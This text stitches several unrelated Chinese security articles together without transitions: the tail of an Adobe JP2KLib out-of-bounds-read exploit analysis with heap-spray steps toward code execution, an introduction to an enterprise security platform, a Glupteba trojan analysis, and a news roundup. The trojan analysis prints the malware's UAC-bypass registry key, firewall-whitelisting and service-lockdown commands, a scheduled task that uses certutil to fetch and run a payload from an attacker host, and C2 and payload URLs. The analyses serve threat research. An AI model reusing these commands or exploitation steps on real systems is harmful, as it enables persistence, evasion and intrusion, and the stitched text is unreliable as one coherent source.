继续跟踪调试可以看到,给poi(poi(esi+0×48)+0x0c)分配的内存地址大小为0x3f4,即一个a1中的hole:

image.png

而图片的实际大小则是0x3f4,正好用于填补a1的hole:

image.png

poi(poi(esi+0×48)+0x0c)为pg2h解析时分配,其实际大小和图片大小一致(0x3f4),正好填补a1中的hole,而在loop逻辑处理poi(poi(esi+0×48)+0x0c)时,由于长度为0xfe(0xfe*4 = 0x3f8),所以越界8字节刚好读到hole中残留的攻击者部署地址!

image.png

至此,可以清楚的知道漏洞触发的原因:越界读取,而我们也可以将漏洞触发的代码注释修改成越界读了:

image.png

0xff控制字

其中控制loop循环次数的0xff,实际在poi(poi(esi+0×48)+0×4)的位置。

image.png

通过回溯分析,发现该值同样来自pg2h函数中的解析。

image.png

调试知道,其赋值来自于pg2h第三个参数,图片对象+10的位置。

image.png

067f4700这个变量主要用于标记解析图片时的指针,当解析图片时,该指针从图片的开始一直递加,直到图片尾部,如下图所示为扫描到图片中间时的值。

image.png

扫描完之后发现该指针指向后面的一片fffffff的内容,如下所示:

image.png

此时通过该指针给poi(poi(esi+0×48)+0×4)赋值时即为对应的0xff,从而导致之后的越界读(这个地方感觉应该是pclr后面应该还有字段,突然截断了导致了一个错误的残留指针)。

image.png

而打过补丁之后,poi(poi(esi+0×48)+0x0c)处的buffer被设置为零,不再指向之前a1中的某一个hole地址,从而无法通过释放函数前的校验:

image.png

遗留问题

脚本函数myfun1中 array2的赋值会导致部分a1里hole偏移249处,地址为0x0d0e0048的4字节数据被置空(因为其Uint32Array的大小为250,所以正好可以将偏移249的地址为0x0d0e0048处的4字节数据置空)。

image.png

如下所示,部分被填掉的a1 hole,可以看到对应的长度由0x3f0变成了0x3e8:

image.png

而直接删除后会影响漏洞触发,如下所示可以看到崩溃的原因在于漏洞函数释放的地址不合法导致,其遍历的buffer并不是我们分配的任何一个a1的element对象,因此猜测针对array2的循环遍历主要是用于将部分符合大小的脏 hole给填补上,这样var f1 = this.getField(“Button1″);相关代码调用的时候就能确保该buffer分配到我们指定的a1 hole中。通过调整array2的大小后发现,将大小值从0×200一直减少到0×70都能保证漏洞的稳定触发,但是低于0×70则会降低触发运行漏洞函数的几率,此处可以进一步研究:

image.png

整个漏洞利用过程

通过以上的分析过程可知漏洞函数JP2KLib!JP2kCopyRect+0xbae6中对访问的buffer检验有误,导致可以越界读取之后8字节的内容(0xff的获取有可能是pclr突然中断导致),所以该8字节的内容为攻击者可控,并在之后用于精确释放内存,最终通过精确释放,并重用该释放的地址,获取一个超长element,以实现全局内存读写,最终导致任意代码执行。

整个漏洞利用过程总结如下(编号和内存布局图中的编号对应):

image.png

1、 通过heap spray a1布置大量比buffer稍大的Uint32Array,将Uint32Array中249,250位置的element设置为需要释放的地址,之后将a1中奇数elemnt释放(以便于之后JP2KLib中解析图片时被分配到)。

2、 heap spray sprayarr布置之后需要释放的内存对象(即sprayarr)

3、 通过加载指定大小的jp2k图片,导致解析jp2k图片时分配的内存为之前某一个a1中的hole,之后运行到JP2KLib!JP2kCopyRect+0xbae6,漏洞触发越界读取249,250偏移处(即sprayarr中两个相连的elment)的内存并释放(合计0×20000),转化为类UAF的利用

4、 同上

5、 通过sprayarr2的赋值抢占释放的0×20000内存,一旦抢占成功,sprayarr中之前被释放的elment的长度就会被修改为0×20000

image.png

6、 最终通过精确释放,并重用该释放地址,获取一个超长element,以实现全局内存读写,再通过全局内存读写,伪造bookmarkRoot的对象实现任意代码执行!

参考

https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html

https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

https://twitter.com/klotxl404/status/998777393262166017

* 本文作者360天眼实验室,转载注明来自FreeBuf.COM

* 本文作者:FallenAngels,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言:

上一篇文章“传说中”的甲方安全发布已经半年的时间,文章结尾说开源自建的安全管理平台,但是一直跳票。我澄清一下,跟领导PK败了,所以原始版本是不让开源的,用了半年时间,我这边新写了一套企业安全管理框架(SecurityManageFramwork),简称SeMF,相对于原始版本,各有优劣吧,原始版本功能较多,但是整个系统高度定制化,通用性较小;新版本的话功能较少,但从设计开始考虑到不同企业的需求,权限和功能定制化不需要改代码,后台更改变量就可以实现。也说不清哪个更好用,目前已经开源,供各位小伙伴们试用,后续会根据反馈的信息添加功能。

项目地址:https://gitee.com/gy071089/SecurityManageFramwork

项目介绍:

企业内网安全管理平台,包含资产管理,漏洞管理,账号管理,知识库管、安全扫描自动化功能模块,可用于企业内部的安全管理制度落地。 本平台旨在帮助安全人员少,业务线繁杂,周期巡检困难,自动化程度低的企业,更好的实现企业内部的安全管理。

功能模块:

SeMF总共有资产管理、网络映射、漏洞管理、任务管理、报表中心、知识共享、用户管理七个通用模块。用于企业安全建设的第一阶段,以下为该系统的结构图和主页面

功能结构2018.5.jpg main.png1.    资产管理

资产是安全管理的核心,看过好多企业安全管理的文章,基本上第一部分都是公司资产的梳理,确认需要管理的资产并进行资产分级。能看懂代码的就会发现,我们的安全管理平台核心就是资产,其他几个模块都是围绕资产进行扩展的。

该模块的话实现了高度可扩展,可通过管理地址  ip:port/semf/  对系统内的资产分类,信息归属以及资产属性进行自定义设置,即便不会开发,也可根据自己公司的实际情况进行自定义。确保需要管理的资产不会遗漏。如下图所示定义资产类型,以及资产类型关联属性。该页面仅超级管理员可访问,访问地址也可进行变更。(系统中数据初始化时定义了部分资产和属性,用户可自行修改)

semf.png

设置完成后我们在系统的资产管理界面如下包含资产增删查改、审批,端口扫描,周期巡检(需要添加扫描器)等功能,直接上图,篇幅受限,这里仅显示部分吧:

asset.png2.    网络映射

这一部分单独划分完全是工作需要,我相信大部分公司服务器对外开放都有记录信息收集不难,这个模块与日志分析功能(被阉割了)配套使用的,避免在安全分析中分不清各系统之间的关联产生操作失误,吃过亏。放在1.0版本的里是为了让大家在资产收集过程中一起梳理以下,防止以后二次梳理,反正后边也要用。安全人员可以通过这个页面点击查看所有信息。截图如下:

net.png3.    任务管理

这个模块主要是用于安全扫描的自动化和周期巡检的,目前仅加入了Nessus扫描器,预留AWVS,MobSF两款扫描器,后续会陆续开放,如果需要其他扫描器对接的话可以提交issue,记得提供API文档啊。

  这个模块的话不仅可以简介操作Nessus,还可以同步已经创建的任务结果,很实用啊,不需要为了采集数据重新扫描;另一方面,它自带漏洞过滤模块,在后台设置需要过滤的漏洞,比如一些需要降级或者扫描器整改方案不够详细的漏洞。扫描结果同步时会自动更新过滤,扫描报告不需要人工分析了。(说实话,原始版本中包含了系统层,Web应用,移动应用和自建扫描器的周期巡检,但是家里没有测试环境,就没有添加,只留了Nessus,各位大佬可根据自己公司的情况进行添加)

4.    漏洞管理

这个模块就是身在甲方的我最需要的模块,也是这个平台的起点,(想当年,面对N多个业务系统,每次上百各安全漏洞,对每个漏洞修复跟进和复查 ,着实心累,好不容易修复了,研发给回滚了,都是泪啊),这个模块的话能看到当前所有资产的漏洞和相关信息,便于跟进,待修复漏洞一目了然,而且给业务部门自己建账号的话,他们只能看到自己的漏洞,还算比较实用吧。(我们公司安全,运维,业务各自有账号,这样的话漏洞直接三方看,基本上不会出现你推我,我退你的情况,漏洞不会修的话,我们知识库很全的,具体到操作哪条命令,而且回滚被发现了,直接漏洞重现,很醒目,妈妈再也不用担心我累吐血了,话题貌似跑歪了)

该模块的话,安全管理拥有完全的控制权限,普通用户仅能选择修复还是忽略,权限控制还是比较完善的。

vuln.png 漏洞管理的话第二大亮点就是同步了CNVD漏洞库,目前的话同步了2万多条漏洞信息,可实现本地查询,当然,漏洞信息管理员是可以改的,效果图如下:

cnvd.png5.    报表中心

这个模块的话我只写了资产分类,漏洞分类、分级,高危漏洞统计,近期安全态势等,会开发的童鞋可自己添加,参照我给的图写就行,反正饼图、柱状图,折线图都有了;看不懂代码的话可以加群或者项目下留言,需求多的话我就加上。看图

chart.png6.    知识共享

这个模块可以说是我最喜欢的模块,也是我为什么博客文章很少的原因(刚到公司的时候我自信满满,然后遇到了什么都不懂的业务人员被教做人,简单的问题都要我写个操作指南,具体到执行哪条命令,简直折磨人,我的大好青春就这么白白浪费),系统建成后,直接跟修复指南上传跟漏洞管理,你要是再不会修,那只能找你领导说说了

还有就是如果知识库发表的时候分类是通告类的,会主动给所有用户发送提醒,提醒查看,适用于安全预警和周期巡检。没啥可看的,直接上图,支持富文本:

article.png7.    用户管理

这个模块的话主要是给不会开发的同学准备的,因为不同公司的组织和人员职责不一样,寻找RBAC原则,用户角色和权限可以通过后台自定义,不用动代码也可以调整,当然,这个系统里的信息都很隐私,所有账户加了各审批(默认禁用注册,需要管理员添加信息,然后发邮件给用户,用户才能注册)

整个系统阉割了 日志分析、任务管理以及流程管理上的模块,因为这些东西和公司系统依赖比较高,就不开源了,等我找到替代方案,再完善,有建议的小伙伴可以找我联系。 

* 本文作者:FallenAngels,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×1 概述

近日腾讯御见威胁情报中心监测到大量下载Glupteba恶意代理木马。不同以往的是,该恶意木马并未通过Operation Windigo僵尸网络进行传播,而是通过其他的木马下载器(Scheduled.exe)进行传播。进一步溯源分析发现,该木马下载器利用“永恒之蓝”漏洞进行传播,从而导致了该木马的感染量的激增。

Glupteba木马会绕过UAC,以管理员权限和系统权限运行,会创建防火墙策略,将木马程序加入白名单;修改Windows Defender策略,将木马程序添加到病毒查杀白名单。木马会收集中毒电脑的隐私信息,利用中毒电脑挖矿。

0×2 详细分析

Scheduled.exe分析:

scheduled.exe首先申请空间,释放PE文件执行。将释放的PE dump出来,发现是golang编写的,利用IDA python脚本将函数重命名。释放的PE首先执行写入配置信息到注册表HEKY_CURRENT_USER/Software/Microsoft/TestApp中。

1.png

写入配置信息

然后判断是否是管理员权限,如果不是,则利用写注册表  

"HKCU\Software\Classes\mscfile\shell\open\command"

然后通过启动CompMgmtLauncher绕过UAC以管理员权限重新启动自己。

2.png

3.png

运行CompMgmtLauncher

重启后再判断是否是系统权限,如果不是则通过以TrustedInstaller运行自己提高权限。

4.png

以TrustedInstaller运行

判断自己路径名是否是”C:\Windows\rss\csrss.exe”,如果不是则执行安装逻辑。

首先会判断是否在虚拟机中运行。

5.png

检查VirtualBox

然后添加防火墙策略,并设置注册表配置firewall键值为1,将程序启动加入Windows防火墙的白名单。

cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\admin\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes"

创建其他释放文件相关目录,并写入注册表

“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\”的paths和processs下的子健。并且设置注册表配置defender键值为1。

6.png

创建目录文件夹

最后将自身移动到”C:\Windows\rss\”下,重命名”csrss.exe”,设置文件夹隐藏,并设置注册表Software\Microsoft\Windows\CurrentVersion\RUN,最后重新启动csrss.exe。

7.png

设置自启

重启后再向服务器注册bot将服务器返回数据再写入注册表配置UUID(后续下载的CloudNet启动需要)。

8.png

注册bot

注册bot完成后创建两个任务分别用于执行自己和更新自己。

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f http://dp.fastandcoolest.com/scheduled.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

然后再释放3个sys文件和1个exe文件到目标目录设置隐藏属性,并加载驱动和exe。”C:\Windows\System32\drivers\”下释放三个隐藏sys文件:

Winmon.sys用于隐藏对应PID进程。

WinmonFS.sys隐藏指定文件或目录。

WinmonProcessMonitor.sys查找指定进程,并关闭。

9.png

WinmonFS.sys隐藏文件

C:\Windows\下释放一个exe文件:

Windefender.exe

添加规则到windows defender。

cmd.exe /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

cmd.exe /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

cmd.exe /C sc sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

添加完规则后,会将服务器返回cloudnet.exe下载地址”http[:]//skynetstop.com/cloudnet.exe”写入到注册表配置信息中的CloudenetSource中,然后开启6个线程。

10.png

创建线程

6个线程分别作用是:

1.监测服务更新

2.监测保护CloudNet

3.监测保护Defender

4.下载矿机和挖矿代理配置信息

5.监测全屏窗口时则下载其他软件安装

6.获取掩码利用永恒之蓝攻击局域网机器

11.png

第三方软件下载器

12.png

下载窃取浏览器个人数据插件

13.png

矿机

14.png

永恒之蓝payload模块下载app.exe

开启线程后,再等待服务器指令,执行其他功能,例如上传下载执行等功能。

15.png

部分功能函数

Windefender.exe分析:

windefender.exe同样是由golang编写,首先将自己写入windows defender规则。

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

然后获取注册表配置信息CloudenetSource,去下载执行Cloudnet.exe。

16.png

下载Cloudnet.exe

Cloudnet分析:

首先读取注册表配置信息中的UUID并校检。

17.png

读取UUID

移动自己到目的文件夹下。

18.png

移动自身

写注册表自启动后继续在注册表

“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CloudNet”下写入文件版本信息,路径等信息。

19.png

设置自启

设置注册表完后,会访问www.google.com判断是否联网,随后在从100条硬编码中随机选择一条并解密生成拼接成c2服务器。向该c2服务器发送信息。

20.png

第一次发送信息

随后会继续向c2服务器发送更详细的本地信息。

21.png

第二次发送本地信息

随后服务器会向受害机器发送验证通信信息。

22.png

bot与C2认证

e为服务器向受害者机器发送的控制指令。

23.png

接收指令执行

24.png

0×3 关联分析

分析发现,cloudnet.exe原来是Glupteba恶意木马,Glupteba恶意木马作为Operation Windigo组织用于部署僵尸网络中的一部分首次出现,Operation Windigo组织通过Glupteba创建代理分发垃圾邮件。

此次发现的Glupteba虽然功能没有太大变化,但是与以往通过Operation Windigo基础设施分发下载不同,而是利用其他恶意木马进行分发下载,并且作为主模块使用,我们有理由相信Glupteba脱离Operation Windigo,成为自己僵尸网络的一部分。

观察过程中目前尚未发现Glupteba有其他动作,不排除僵尸网络背后的操纵者出售地下代理服务,可用于垃圾邮件分发或者网络攻击等行为。

25.png

0×4 解决方案

腾讯御见威胁情报中心提醒用户注意以下几点:

1、服务器关闭不必要的端口,方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2、推荐企业用户安装御点终端安全管理系统(https://s.tencent.com/product/yd/index.html)。御点终端安全管理系统具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。

000.png

IOC

C2:

https[:]//blumbergnew.com

https[:]//fastandcoolest.com

https[:]//mihan14500.com

https[:]//lentanewsland.com

http[:]//skynetstop.com

http[:]//gb1.wupdomain.com

http[:]//dp.fastandcoolest.com

http[:]//F0AE5A04-264A-432E-BC59-2DEDBC05E96E.server-3.0df.ru

http[:]//e8ebf79d-5dd2-4d98-9c45-e3231e8cc26c.server-17.0m1.ru

URL:

http[:]//dp.fastandcoolest.com/app/4/app.exe

http[:]//dp.fastandcoolest.com/scheduled.exe

http[:]//gb1.wupdomain.com/xme64-252.exe

http[:]//dp.fastandcoolest.com/deps.zip

http[:]//dp.fastandcoolest.com/app/3/app.exe

http[:]//dp.fastandcoolest.com/app.exe

http[:]//gb1.wupdomain.com/xme32-252-gcc.exe

http[:]//dp.fastandcoolest.com/thirdparty/lsa64install.exe

http[:]//dp.fastandcoolest.com/scheduled/3/scheduled.exe

http[:]//dp.fastandcoolest.com/ps.exe

http[:]//dp.fastandcoolest.com/mrt.exe

http[:]//dp.fastandcoolest.com/vc.exe

MD5:

4ef0c39e632279d7b3672d2efc071e5b

0d3a8d67cd969c6e096b4d29e910dd9e

622fd523a87cb55be0b676a70c64e8f8

c626f99579c00a2e86b89c566eb1487a

0acbe358eac81eca5e05ac1ca6f9484a

954f2536b9c314ab0e98543445c1c9da

ad51151ac0ce51c2f96f40eec6f13f70

3eda353ae833e9c79a5c01c40505892b

e3ab3302877551b0211641798a8f17a1

611601b4bab6794ffab44877ce5a3555

b4c4c660f3479e6149aafa46634b210e

ed82b0352481bdb870a2feef7094f767

057994209bbde8a07786bcb5cf02cedf

580e347d6422565d5ac412980ca00bd1

de5b3710b5cbdef975216f6043727a36

a9bf973249a76b214b38a5483544709f

2262802fadaf196687d35cd787092b14

b9e69cfdc4ee4bff6169c8a2dc062750

今天是6月1日儿童节,今天早餐铺的内容有:Windows JScript组件存在远程代码执行漏洞;本田印度在AWS S3服务器上暴露50,000个客户的详细信息;恶意的Git存储库可能导致远程系统上的代码执行;23岁黑客被控受雇于俄间谍侵入电邮 获刑5年;百度回应输入法输入“没钱”会跳出借贷广告:手机厂商定制版才有。

QualityFood_KidsFrd_HappyMeal_531x300.jpg【漏洞攻击】

Windows JScript组件存在远程代码执行漏洞

Windows操作系统的JScript组件中存在漏洞,攻击者可以在用户计算机上执行恶意代码。

Windows_logo.jpg发现这个漏洞的是Telspace Systems公司的Dmitri Kaslov,他把漏洞发给了趋势科技的Zero-Day Initiative(ZDI),这个项目专门向大公司提交漏洞项目。

ZDI专家在1月份向微软报告了这个问题,但微软没有发布补丁。 昨天,ZDI发布了一份摘要,其中包含漏洞的技术细节。

[BleepingComputer]

Honda.jpg本田印度在AWS S3服务器上暴露50,000个客户的详细信息

根据Kromtech Security今天发布的报告,本田汽车印度公司把超过50,000名用户的个人详细信息暴露在了两个公共Amazon S3服务器中。

这两个AWS bucket包含本田汽车印度公司开发的移动应用程序Honda Connect用户的个人详细信息。

本田Connect是远程汽车管理应用程序,用户可以操作他们的本田智能汽车,也可以与本田汽车印度公司提供的服务进行预约和互动。

[BleepingComputer]

恶意的Git存储库可能导致远程系统上的代码执行

Git-logo.pngGit和各种提供Git存储库托管服务的公司都已经推出了补丁修复git中的高危漏洞。

补丁包含在Git 2.17.1中,针对两个安全漏洞:CVE-2018-11233和CVE-2018-11235。

其中,CVE-2018-11235被认为是最危险的,黑客可以创建格式错误的Git存储库。

当用户克隆该存储库时,Git客户端处理此恶意Git子模块的方式可能让攻击者在用户的系统上执行代码。

[BleepingComputer]

23岁黑客被控受雇于俄间谍侵入电邮 获刑5年

russia.jpg据美联社报道,在美国旧金山市法庭举行的庭审中,23岁电脑黑客卡里姆·巴拉托夫(Karim Baratov)被控无意中与俄罗斯间谍机构合作,在雅虎大规模数据泄露事件中窃取数据,以获取私人电子邮件。法官文斯·查布里亚(Vince Chhabria)判处他5年监禁,并处以25万美元罚款。

2017年,两名俄罗斯间谍被控策划了2014年的雅虎黑客入侵事件,涉及5亿用户信息被盗。巴拉托夫也被美国起诉,被指控利用俄罗斯联邦安全局传递给他的被盗数据,侵入了数十名记者、商界领袖和其他人的电子邮件账户。检察官说,巴拉托夫是个“国际黑客雇佣兵”,对他的客户很少或根本没有研究。

去年11月份,巴拉托夫承认犯有9项重罪。他承认自己在7年前就开始从事黑客活动,并向客户收取100美元的黑客费,以侵入网络电子邮件中。巴拉托夫出生于哈萨克斯坦,但在加拿大多伦多居住。去年他在加拿大被捕,他通过欺骗用户将自己的凭证输入到伪造的密码重置页面,从而获得他人的网络邮件密码。

[CnBeta]

【国内新闻】

百度回应输入法输入“没钱”会跳出借贷广告:手机厂商定制版才有

针对微博网友质疑百度手机输入法根据用户输入推送相应广告的质疑,百度手机输入法官方做出回应称“您好,感谢您的反馈!我们已查明,该广告是手机厂商在输入法手机定制版上的自定义行为,昨天我们已第一时间沟通该厂商下线广告。

您也可以在各大应用市场下载百度输入法官方版、华为定制版等其他版本的百度输入法,这些版本均无任何广告行为。再次感谢您的支持~”

根据微博网友提供的信息,其在使用百度手机输入法输入“没钱”时,输入法会自动联想推荐“最高可借10万”的广告。据网友提供的信息,其使用的手机为小米。